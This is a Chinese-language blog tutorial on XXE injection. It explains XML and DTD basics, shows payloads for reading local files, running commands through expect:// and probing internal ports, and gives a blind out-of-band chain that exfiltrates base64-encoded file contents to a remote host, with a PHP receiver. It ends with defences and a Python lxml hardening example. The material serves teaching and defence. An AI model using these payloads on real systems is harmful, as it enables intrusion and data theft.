XXE漏洞简介

目录

漏洞原理

漏洞危害

前置知识

XML简介

DTD简介

DTD的两种声明方式  

实体 

实体分类

内置实体(Built-inentities)

字符实体(Characterentities) 

通用实体(Generalentities)

参数实体(Parameterentities)

XXE漏洞出现场景

XXE漏洞利用

任意文件读取

系统命令执行

探测内网端口

无回显XXE漏洞利用

XXE防御措施


漏洞原理

            XXE Injection XML External Entity Injection XML 外部实体注入攻击) 攻击者可以通过 XML 的外部实体来获取服务器中本应被保护的数据。 对于 XXE 漏洞最为关键的部分是 DTD 文档类型 DTD 的作用是定义 XML 文档的合法构建模块。 DTD 可以在 XML 文档内声明, 也可以外部引用, libxml2.9.1 及以后, 默认不再解析外部实体。

漏洞危害

当允许引用外部实体时, 通过恶意构造, 可以导致以下常见的危害:

  • 任意文件读取

  • 执行系统命令

  • 探测内网端口

前置知识

XML简介

   XML 指可扩展标记语言,XML 被设计用来传输和存储数据,你可以理解为就是⼀种写法类似于html语⾔的数据格式⽂档。但是xmlhtml是为不同⽬的⽽设计的,html旨在显⽰数据信息,⽽xml旨在传输数据信息。

DTD简介

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

DTD的两种声明方式  

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

1.内部DTD:对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。

2.外部DTD:对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

注释:这里只介绍外部DTD。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<root>&xxe;</root>

!ELEMENT root ANY 定义元素为ANY,既可以接受任何元素;

!ENTITY xxe SYSTEM "file:///c:/test.dtd" 定义了一个外部实体,文档会对c:/test.dtd文件资源进行引用,这是一种用SYSTEM关键字的引用方式。

实体 

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用。

  • 实体可在内部或外部进行声明。

实体分类

内置实体(Built-inentities)
实体实体引用含义
quot"双引号
amp&(“and”符)
apos'(撇号或单引号)
lt<小于号
gt>大于号
字符实体(Characterentities) 
实体名称符号十进制参考十六进制参考
quot"&#34;&#x22;
amp&&#38;&#x26;
apos'&#39;&#x27;
lt<
&#60;
&#x3C;
gt>&#62;&#x3E;

其中内置实体和字符实体都和html的实体编码类似,有十进制和十六进制,一个实体由三部分构成:一个和号(&),一个实体名称,以及一个分号(;)。

通用实体(Generalentities
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
参数实体(Parameterentities)
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
 %remote-dtd;

 remote.dtd:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XXE漏洞出现场景

  • XXE漏洞主要是关注测试的目标系统,是否存在请求传输XML数据格式的API,如果遇到有XML数据格式传输的请求,就可进一步操作看是否存在XXE漏洞。

  • 可上传excel文件的上传点、图片上传点

XXE漏洞利用

有回显XXE和无回显XXE

任意文件读取

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 

系统命令执行

注意:在安装 expect 扩展的 PHP 环境里执行系统命令;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://ipconfig" >]>
<foo>&xxe;</foo>

windows用ipconfig,linux用ifconfig

探测内网端口

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://192.168.1.6:22" >]>
<foo>&xxe;</foo>

可以在ip后面的端口爆破,爆破出开放的端口。

无回显XXE漏洞利用

<?xmlversion="1.0"encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-
encode/resource=/c:/windows/win.ini">
<!ENTITY %remote SYSTEM "http://192.168.220.132/entities.dtd">
%remote;
%all;
%send;
]>

entities.dtd 中代码如下: 

<!ENTITY %all
"<!ENTITY &#x25; send SYSTEM 'http://192.168.64.130/test.php?file=%file;'>">

注:“%”转成html实体编码是因为在实体的值中不能有%,所以需要转换成:% 

test.php中的代码如下:

<?php
$file="./test.txt";
$content=base64_decode($_GET['file']);file_put_contents($file,$content);
echo"\n";
?>

XXE防御措施

1. 字符串实体编码
字符转义
"&quot;
&&amp;
'&apos;
<&lt;
>&gt;

2.过滤用户提交的 XML 数据, 关键词: , SYSTEM  PUBLIC

3.禁用外部实体: libxml_disable_entity_loader(true)

 

### XXE漏洞原理 XXE(XML External Entity)漏洞是一种由于应用程序在解析XML输入时允许引用外部实体而导致的安全漏洞。XML是一种结构化文档格式,广泛用于数据存储和传输,其中“外部实体”是XML标准中允许的一种特性,用于引用外部资源。然而,当应用程序未正确配置XML解析器以禁用外部实体时,攻击者可以构造恶意XML文档,利用该特性读取服务器上的文件、发起服务器端请求伪造(SSRF)、造成拒绝服务(DoS)等攻击[^1]。 具体而言,XXE漏洞的攻击通常发生在应用程序接受用户输入并将其解析为XML文档的场景中。攻击者通过在XML文档中插入恶意定义的外部实体,使得XML解析器在解析过程中访问攻击者指定的资源。例如,攻击者可以构造一个外部实体,指向服务器上的敏感文件(如`/etc/passwd`),从而实现任意文件读取的目的[^2]。 ### XXE漏洞防护方法 为了有效防止XXE漏洞的发生,可以从以下几个方面入手: 1. **禁用外部实体** 在处理XML输入时,应禁用所有外部实体引用。不同的编程语言提供了相应的配置选项来实现这一点。例如,在Java中使用`DocumentBuilderFactory`时,可以通过设置`FEATURE_SECURE_PROCESSING`和禁用`external-general-entities`来防止外部实体注入;在Python中使用`xml.etree.ElementTree`库时,默认情况下不解析外部实体,但若使用`xml.dom.minidom`或`lxml`等库,则需要手动配置以禁用外部实体[^1]。 2. **输入验证和过滤** 对所有XML输入进行严格的验证和过滤,确保其格式正确且不包含任何潜在危险的内容。例如,可以使用白名单机制,仅允许特定的标签和属性,拒绝其他所有内容。此外,还可以对用户输入进行转义处理,防止恶意实体被注入到XML文档中[^1]。 3. **安全配置服务器** 确保服务器和应用程序的配置符合安全最佳实践。例如,在Web服务器上禁用不必要的XML解析功能,限制XML解析器的权限,避免其访问敏感文件或发起外部请求。此外,还可以通过设置防火墙规则,限制XML解析器对外部资源的访问[^1]。 4. **升级解析器版本** 定期更新和升级使用的XML解析器,以确保其具备最新的安全补丁和功能。许多现代解析器已经默认禁用了外部实体,或者提供了更安全的配置选项,因此保持解析器的最新状态是防止XXE漏洞的重要措施。 5. **使用替代数据格式** 在可能的情况下,避免使用XML作为数据传输格式,转而使用更安全的替代方案,如JSON。JSON不支持外部实体,因此天然免疫于XXE攻击[^4]。 ### 示例代码:禁用外部实体(Python) 以下是一个在Python中使用`lxml`库禁用外部实体的示例代码: ```python from lxml import etree parser = etree.XMLParser(resolve_entities=False, external_entities=False) xml_data = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>" try: tree = etree.fromstring(xml_data, parser) except etree.XMLSyntaxError as e: print("XML解析错误:", e) ``` 在上述代码中,通过设置`resolve_entities=False`和`external_entities=False`,可以有效禁用外部实体,从而防止XXE攻击。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值